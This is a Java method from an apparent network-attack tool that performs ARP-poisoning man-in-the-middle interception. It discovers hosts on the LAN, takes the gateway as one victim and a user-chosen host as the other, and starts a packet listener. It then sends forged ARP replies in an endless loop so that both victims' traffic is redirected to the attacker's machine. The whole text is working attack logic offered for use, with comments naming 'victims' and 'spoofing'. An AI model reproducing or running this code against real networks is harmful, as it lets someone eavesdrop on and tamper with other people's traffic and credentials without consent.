public void dump() {
		hostdiscover hosty = new hostdiscover(device, ips_to_explore);
		hosty.discover();
		//String gatewayip = hosty.getGatewayIp();
		ip_mac_list.putAll(hosty.getHosts());
		
		//for the moment the victimA always will be the router
		victimAip = hosty.getGatewayIp();
		
		/* will ~pretty~ print here the hosts(victims) to choose 
		 * between who you want to listen to  */
		System.out.println("Online hosts(victims):");
		ArrayList<String> online_ips = new ArrayList<String>(ip_mac_list.keySet());
		for(int i=0; i<online_ips.size();i++){
			String current_ip = online_ips.get(i);
			if (!current_ip.equals(victimAip))
				System.out.println(i+". "+current_ip);
		}
		
		/* choose two victim via index */
		BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
		String victimB = null;
		try {
			System.out.println();
			System.out.print("Choose victim(index):");
			victimB = in.readLine();
		} catch (IOException e) {
			System.out.println(e.getMessage());
		}
		
		victimBip = online_ips.get(Integer.parseInt(victimB));
		
		System.out.println("Victim A, ip: "+victimAip+", mac: "+ip_mac_list.get(victimAip));
		System.out.println("Victim B, ip: "+victimBip+", mac: "+ip_mac_list.get(victimBip));
		
		//this.traffic_listener.setFilter("tcp and udp",true);
		this.traffic_listener.start();
		
		arp fakeA = new arp(null);
		arp fakeB = new arp(null);
		arp fakeme = new arp(null);
		
		try {
			/*byte[] fake_mac = new byte[] { (byte)Integer.parseInt("0",16),  (byte)Integer.parseInt("24",16),
	                (byte)Integer.parseInt("2b",16), (byte)Integer.parseInt("68",16),(byte)Integer.parseInt("4c",16),
	                (byte)Integer.parseInt("1b",16) };
	         */
			
			fakeme.buildDevice("fakyo", "ihniwidyo", "fakyo", "fakeyo", calculate_mac( ip_mac_list.get(victimBip)),
					localIp, this.__get_inet4(device).subnet.toString().split("/")[1]);
			/* now we will create two fake devices to arp poison the to victims 
			 * giving them my mac address so their traffic will come to me 
			 * */
			
			fakeA.buildDevice("fak0", "ihniwid", "fak0", "fake", device.mac_address,
					victimAip, this.__get_inet4(device).subnet.toString().split("/")[1]);
			fakeB.buildDevice("fak1", "ihniwid1", "fak1", "fake1", device.mac_address,
					victimBip, this.__get_inet4(device).subnet.toString().split("/")[1]);
		} catch (Exception e) {
			e.printStackTrace();
		}
		
		System.out.println("Start spoofing victims.");
		while(true){
			try {
				//spoof the two victims my mac address(provide a fake one)
				//check again may it is not needed
				this.middle_sender.send(fakeme.build_reply_packet(victimAip, ip_mac_list.get(victimAip),
							device.mac_address));
				this.middle_sender.send(fakeme.build_reply_packet(victimBip, ip_mac_list.get(victimBip),
						device.mac_address));
				
				/*and now A spoofs B and B spoofs A */
				this.middle_sender.send(fakeA.build_reply_packet(victimBip, ip_mac_list.get(victimBip),
						device.mac_address));
				this.middle_sender.send(fakeB.build_reply_packet(victimAip, ip_mac_list.get(victimAip),
						device.mac_address));
				//sleep a little
				//Thread.currentThread();
				Thread.sleep(100);

			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}